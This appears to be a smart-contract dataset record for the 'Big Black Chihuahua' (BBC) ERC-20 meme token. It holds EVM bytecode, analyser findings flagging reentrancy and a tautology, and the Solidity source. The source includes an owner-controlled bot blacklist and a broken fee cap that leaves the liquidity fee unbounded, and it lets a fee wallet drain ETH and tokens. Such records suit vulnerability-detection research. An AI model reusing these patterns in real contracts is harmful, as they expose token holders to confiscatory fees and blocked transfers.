5260040161162c906133cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c906136ba565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d19061374c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561184a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611841906137de565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611928919061309b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199c90613870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c90613902565b60405180910390fd5b60008111611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613994565b60405180910390fd5b611a60610ec2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ace5750611a9e610ec2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611eb957601560149054906101000a900460ff16611b5d57611aef610ec2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390613a26565b60405180910390fd5b5b601654811115611ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9990613a92565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c465750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7c90613b24565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d325760175481611ce784610c51565b611cf19190613b44565b10611d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2890613c0c565b60405180910390fd5b5b6000611d3d30610c51565b9050600060185482101590506016548210611d585760165491505b808015611d70575060158054906101000a900460ff16155b8015611dca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611de25750601560169054906101000a900460ff165b8015611e385750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e8e5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eb657611e9c826122f8565b60004790506000811115611eb457611eb34761221e565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120135750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120125750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561202157600090506121a8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120cc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120e457600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561218f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121a757600a54600c81905550600b54600d819055505b5b6121b48484848461257e565b50505050565b6000838311158290612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f99190612f44565b60405180910390fd5b50600083856122119190613c2c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612286573d6000803e3d6000fd5b5050565b60006006548211156122d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c890613cd2565b60405180910390fd5b60006122db6125ab565b90506122f081846125d690919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561232f5761232e612cd2565b5b60405190808252806020026020018201604052801561235d5781602001602082028036833780820191505090505b5090503081600081518110612375576123746133eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561241757600080fd5b505afa15801561242b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061244f9190613d07565b81600181518110612463576124626133eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124ca30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461176a565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161252e959493929190613e2d565b600060405180830381600087803b15801561254857600080fd5b505af115801561255c573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061258c5761258b612620565b5b612597848484612663565b806125a5576125a461282e565b5b50505050565b60008060006125b8612842565b915091506125cf81836125d690919063ffffffff16565b9250505090565b600061261883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128a4565b905092915050565b6000600c5414801561263457506000600d54145b1561263e57612661565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061267587612907565b9550955095509550955095506126d386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461296f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b481612a17565b6127be8483612ad4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161281b919061309b565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea000009050612878683635c9adc5dea000006006546125d690919063ffffffff16565b82101561289757600654683635c9adc5dea000009350935050506128a0565b81819350935050505b9091565b600080831182906128eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e29190612f44565b60405180910390fd5b50600083856128fa9190613eb6565b9050809150509392505050565b60008060008060008060008060006129248a600c54600d54612b0e565b92509250925060006129346125ab565b905060008060006129478e878787612ba4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121ba565b905092915050565b60008082846129c89190613b44565b905083811015612a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0490613f33565b60405180910390fd5b8091505092915050565b6000612a216125ab565b90506000612a388284612c2d90919063ffffffff16565b9050612a8c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ae98260065461296f90919063ffffffff16565b600681905550612b04816007546129b990919063ffffffff16565b6007819055505050565b600080600080612b3a6064612b2c888a612c2d90919063ffffffff16565b6125d690919063ffffffff16565b90506000612b646064612b56888b612c2d90919063ffffffff16565b6125d690919063ffffffff16565b90506000612b8d82612b7f858c61296f90919063ffffffff16565b61296f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bbd8589612c2d90919063ffffffff16565b90506000612bd48689612c2d90919063ffffffff16565b90506000612beb8789612c2d90919063ffffffff16565b90506000612c1482612c06858761296f90919063ffffffff16565b61296f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c405760009050612ca2565b60008284612c4e9190613f53565b9050828482612c5d9190613eb6565b14612c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c949061401f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d0a82612cc1565b810181811067ffffffffffffffff82111715612d2957612d28612cd2565b5b80604052505050565b6000612d3c612ca8565b9050612d488282612d01565b919050565b600067ffffffffffffffff821115612d6857612d67612cd2565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612da982612d7e565b9050919050565b612db981612d9e565b8114612dc457600080fd5b50565b600081359050612dd681612db0565b92915050565b6000612def612dea84612d4d565b612d32565b90508083825260208201905060208402830185811115612e1257612e11612d79565b5b835b81811015612e3b5780612e278882612dc7565b845260208401935050602081019050612e14565b5050509392505050565b600082601f830112612e5a57612e59612cbc565b5b8135612e6a848260208601612ddc565b91505092915050565b600060208284031215612e8957612e88612cb2565b5b600082013567ffffffffffffffff811115612ea757612ea6612cb7565b5b612eb384828501612e45565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ef6578082015181840152602081019050612edb565b83811115612f05576000848401525b50505050565b6000612f1682612ebc565b612f208185612ec7565b9350612f30818560208601612ed8565b612f3981612cc1565b840191505092915050565b60006020820190508181036000830152612f5e8184612f0b565b905092915050565b6000819050919050565b612f7981612f66565b8114612f8457600080fd5b50565b600081359050612f9681612f70565b92915050565b60008060408385031215612fb357612fb2612cb2565b5b6000612fc185828601612dc7565b9250506020612fd285828601612f87565b9150509250929050565b60008115159050919050565b612ff181612fdc565b82525050565b600060208201905061300c6000830184612fe8565b92915050565b6000819050919050565b600061303761303261302d84612d7e565b613012565b612d7e565b9050919050565b60006130498261301c565b9050919050565b600061305b8261303e565b9050919050565b61306b81613050565b82525050565b60006020820190506130866000830184613062565b92915050565b61309581612f66565b82525050565b60006020820190506130b0600083018461308c565b92915050565b6000806000606084860312156130cf576130ce612cb2565b5b60006130dd86828701612dc7565b93505060206130ee86828701612dc7565b92505060406130ff86828701612f87565b9150509250925092565b600060ff82169050919050565b61311f81613109565b82525050565b600060208201905061313a6000830184613116565b92915050565b61314981612d9e565b82525050565b60006020820190506131646000830184613140565b92915050565b6000602082840312156131805761317f612cb2565b5b600061318e84828501612dc7565b91505092915050565b6131a081612fdc565b81146131ab57600080fd5b50565b6000813590506131bd81613197565b92915050565b6000602082840312156131d9576131d8612cb2565b5b60006131e7848285016131ae565b91505092915050565b60006020828403121561320657613205612cb2565b5b600061321484828501612f87565b91505092915050565b6000806000806080858703121561323757613236612cb2565b5b600061324587828801612f87565b945050602061325687828801612f87565b935050604061326787828801612f87565b925050606061327887828801612f87565b91505092959194509250565b600080fd5b60008083601f84011261329f5761329e612cbc565b5b8235905067ffffffffffffffff8111156132bc576132bb613284565b5b6020830191508360208202830111156132d8576132d7612d79565b5b9250929050565b6000806000604084860312156132f8576132f7612cb2565b5b600084013567ffffffffffffffff81111561331657613315612cb7565b5b61332286828701613289565b93509350506020613335868287016131ae565b9150509250925092565b6000806040838503121561335657613355612cb2565b5b600061336485828601612dc7565b925050602061337585828601612dc7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133b5602083612ec7565b91506133c08261337f565b602082019050919050565b600060208201905081810360008301526133e4816133a8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061345482612f66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134875761348661341a565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203225000000000000000000000000000000000000000000000000000000602082015250565b60006134ee602583612ec7565b91506134f982613492565b604082019050919050565b6000602082019050818103600083015261351d816134e1565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203160008201527f3425000000000000000000000000000000000000000000000000000000000000602082015250565b6000613580602283612ec7565b915061358b82613524565b604082019050919050565b600060208201905081810360008301526135af81613573565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642032250000000000000000000000000000000000000000000000000000602082015250565b6000613612602683612ec7565b915061361d826135b6565b604082019050919050565b6000602082019050818103600083015261364181613605565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136a4602683612ec7565b91506136af82613648565b604082019050919050565b600060208201905081810360008301526136d381613697565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613736602483612ec7565b9150613741826136da565b604082019050919050565b6000602082019050818103600083015261376581613729565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137c8602283612ec7565b91506137d38261376c565b604082019050919050565b600060208201905081810360008301526137f7816137bb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061385a602583612ec7565b9150613865826137fe565b604082019050919050565b600060208201905081810360008301526138898161384d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138ec602383612ec7565b91506138f782613890565b604082019050919050565b6000602082019050818103600083015261391b816138df565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061397e602983612ec7565b915061398982613922565b604082019050919050565b600060208201905081810360008301526139ad81613971565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a10603f83612ec7565b9150613a1b826139b4565b604082019050919050565b60006020820190508181036000830152613a3f81613a03565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613a7c601c83612ec7565b9150613a8782613a46565b602082019050919050565b60006020820190508181036000830152613aab81613a6f565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0e602383612ec7565b9150613b1982613ab2565b604082019050919050565b60006020820190508181036000830152613b3d81613b01565b9050919050565b6000613b4f82612f66565b9150613b5a83612f66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b8f57613b8e61341a565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf6602383612ec7565b9150613c0182613b9a565b604082019050919050565b60006020820190508181036000830152613c2581613be9565b9050919050565b6000613c3782612f66565b9150613c4283612f66565b925082821015613c5557613c5461341a565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613cbc602a83612ec7565b9150613cc782613c60565b604082019050919050565b60006020820190508181036000830152613ceb81613caf565b9050919050565b600081519050613d0181612db0565b92915050565b600060208284031215613d1d57613d1c612cb2565b5b6000613d2b84828501613cf2565b91505092915050565b6000819050919050565b6000613d59613d54613d4f84613d34565b613012565b612f66565b9050919050565b613d6981613d3e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613da481612d9e565b82525050565b6000613db68383613d9b565b60208301905092915050565b6000602082019050919050565b6000613dda82613d6f565b613de48185613d7a565b9350613def83613d8b565b8060005b83811015613e20578151613e078882613daa565b9750613e1283613dc2565b925050600181019050613df3565b5085935050505092915050565b600060a082019050613e42600083018861308c565b613e4f6020830187613d60565b8181036040830152613e618186613dcf565b9050613e706060830185613140565b613e7d608083018461308c565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ec182612f66565b9150613ecc83612f66565b925082613edc57613edb613e87565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f1d601b83612ec7565b9150613f2882613ee7565b602082019050919050565b60006020820190508181036000830152613f4c81613f10565b9050919050565b6000613f5e82612f66565b9150613f6983612f66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fa257613fa161341a565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614009602183612ec7565b915061401482613fad565b604082019050919050565b6000602082019050818103600083015261403881613ffc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa2f49f7ec406f4f6a5c8802b9dfa07e68bae1d3e8d4d4b08a6961fd30a434fd64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,658
0x82bf38683935a84c2f62b1611e1b1ec5eb66b1fe
// Telegram: https://t.me/BigBlackChihuahua // Twitter: https://twitter.com/BBChihuahua // Website: http://bigblackchihuahua.com/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BigBlackChihuahua is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private fee1=69; uint256 private fee2=69; uint256 private liqfee=42; uint256 private feeMax=100; string private constant _name = "Big Black Chihuahua"; string private constant _symbol = "BBC"; uint256 private _maxTxAmount = _tTotal.mul(69).div(10000); uint256 private minBalance = _tTotal.div(1000); uint8 private constant _decimals = 9; address payable private _feeAddrWallet1; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(msg.sender); _tOwned[address(this)] = _tTotal.div(2); _tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum"); fee1 = _fee1; fee2 = _fee2; liqfee = _liq; } function changeMinBalance(uint256 newMin) external { require(_msgSender() == _feeAddrWallet1); minBalance = newMin; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tax = fee1.add(liqfee); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){ // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tax = fee2.add(liqfee); } if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > minBalance){ swapAndLiquify(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapAndLiquify(uint256 tokenAmount) private { uint256 half = liqfee.div(2); uint256 part = fee2.add(half); uint256 sum = fee2.add(liqfee); uint256 swapTotal = tokenAmount.mul(part).div(sum); swapTokensForEth(swapTotal); addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1); } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ _approve(address(this),address(uniswapV2Router),tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); addLiquidity(balanceOf(address(this)),address(this).balance,owner()); swapEnabled = true; tradingOpen = true; time = block.timestamp + (5 minutes); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(transferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tfee); emit Transfer(sender, recipient, transferAmount); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapAndLiquify(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_tax).div(1000); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function recoverTokens(address tokenAddress) external { require(_msgSender() == _feeAddrWallet1); IERC20 recoveryToken = IERC20(tokenAddress); recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this))); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610384578063b515566a146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780637e37e9bb146103055780638da5cb5b1461032e57806395d89b41146103595761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780634ea18fab146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806316114acd1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906128fe565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906123ef565b610492565b60405161018391906128e3565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190612302565b6104b0565b005b3480156101c157600080fd5b506101ca610652565b6040516101d79190612a80565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061239c565b610663565b60405161021491906128e3565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612302565b61073c565b005b34801561025257600080fd5b5061025b61082c565b6040516102689190612af5565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906124a5565b610835565b005b3480156102a657600080fd5b506102af6108a0565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612302565b610912565b6040516102e59190612a80565b60405180910390f35b3480156102fa57600080fd5b5061030361095b565b005b34801561031157600080fd5b5061032c60048036038101906103279190612552565b610aae565b005b34801561033a57600080fd5b50610343610b9b565b604051610350919061283e565b60405180910390f35b34801561036557600080fd5b5061036e610bc4565b60405161037b91906128fe565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906123ef565b610c01565b6040516103b891906128e3565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e3919061242f565b610c1f565b005b3480156103f657600080fd5b506103ff610d49565b005b34801561040d5760